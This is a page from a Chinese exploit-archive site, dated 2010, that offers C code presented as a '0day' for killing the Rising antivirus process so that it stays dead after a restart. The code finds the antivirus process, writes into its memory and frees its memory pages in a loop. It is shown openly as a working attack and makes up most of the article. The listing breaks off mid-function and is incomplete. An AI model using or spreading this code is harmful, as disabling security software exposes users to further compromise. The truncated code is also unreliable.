首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
瑞星最新0day漏洞
来源:vfocus.net 作者:vfocus 发布时间:2010-03-25  

编写成程序后双击运行直接K掉瑞星(重起也没用)
以下是漏洞利用代码
------------------------------------------------------------------------------


DWORD GetProcessIdFromName(LPCTSTR name)
{
PROCESSENTRY32 pe;
DWORD id = 0;
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
pe.dwSize = sizeof(PROCESSENTRY32);
if( !Process32First(hSnapshot,&pe) )
return 0;
do
{
pe.dwSize = sizeof(PROCESSENTRY32);
if( Process32Next(hSnapshot,&pe)==FALSE )
   break;
if(strcmp(pe.szExeFile,name) == 0)
{
   id = pe.th32ProcessID;
   break;
}
} while(1);
CloseHandle(hSnapshot);
return id;
}

DWORD GetProcessID(char *FileName)
{
HANDLE myhProcess;
PROCESSENTRY32 mype;
BOOL mybRet;
//进行进程快照
myhProcess=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0); //TH32CS_SNAPPROCESS快照所有进程
//开始进程查找
mybRet=Process32First(myhProcess,&mype);
//循环比较,得出ProcessID
while(mybRet)
{
if(strcmp(FileName,mype.szExeFile)==0)
return mype.th32ProcessID;
else
mybRet=Process32Next(myhProcess,&mype);
}
return 0;
}

void killProcess(CString www ,LPCTSTR name,char *xyz)
{

   DWORD    nPid = 0;   
    HANDLE     hProcess;  
    DWORD    nExitCode = 0;
    DWORD    nAddress = 0x1000;
    nPid=GetProcessIdFromName(name);
    hProcess = OpenProcess (PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION, 0,nPid);
    WriteProcessMemory(hProcess,(LPVOID)0x0047EB17,&nPid,1,NULL);    
   
    while ( nAddress <= 0x7FFFF000 )
    {
        GetExitCodeProcess(hProcess, &nExitCode);
        if (nExitCode != STILL_ACTIVE)
        {
            break;
        }
        WriteProcessMemory(hProcess,(LPVOID)0x0047EB17,&nPid,1,NULL);
        VirtualFreeEx(hProcess, (LPVOID)nAddress, 0, 0x8000);
        nAddress += 0x1000;
    }

 


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Shellcode - Win32 MessageBox (
·Internet Explorer 7.0 0day
·win32/xp sp3 (Ru) WinExec+Exit
·UltraISO CCD File Parsing Buff
·Smart PC Recorder 4.8 .MP3 Loc
·Solaris Update manager and Sun
·xwine v1.0.1 (.exe file) Local
·KenWard's Zipper v1.400 Buffer
·Easy-Clanpage version 2.0 remo
·eDisplay Personal FTP server 1
·MX Simulator Server Remote Buf
·Cisco TFTP Server 1.1 DoS
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved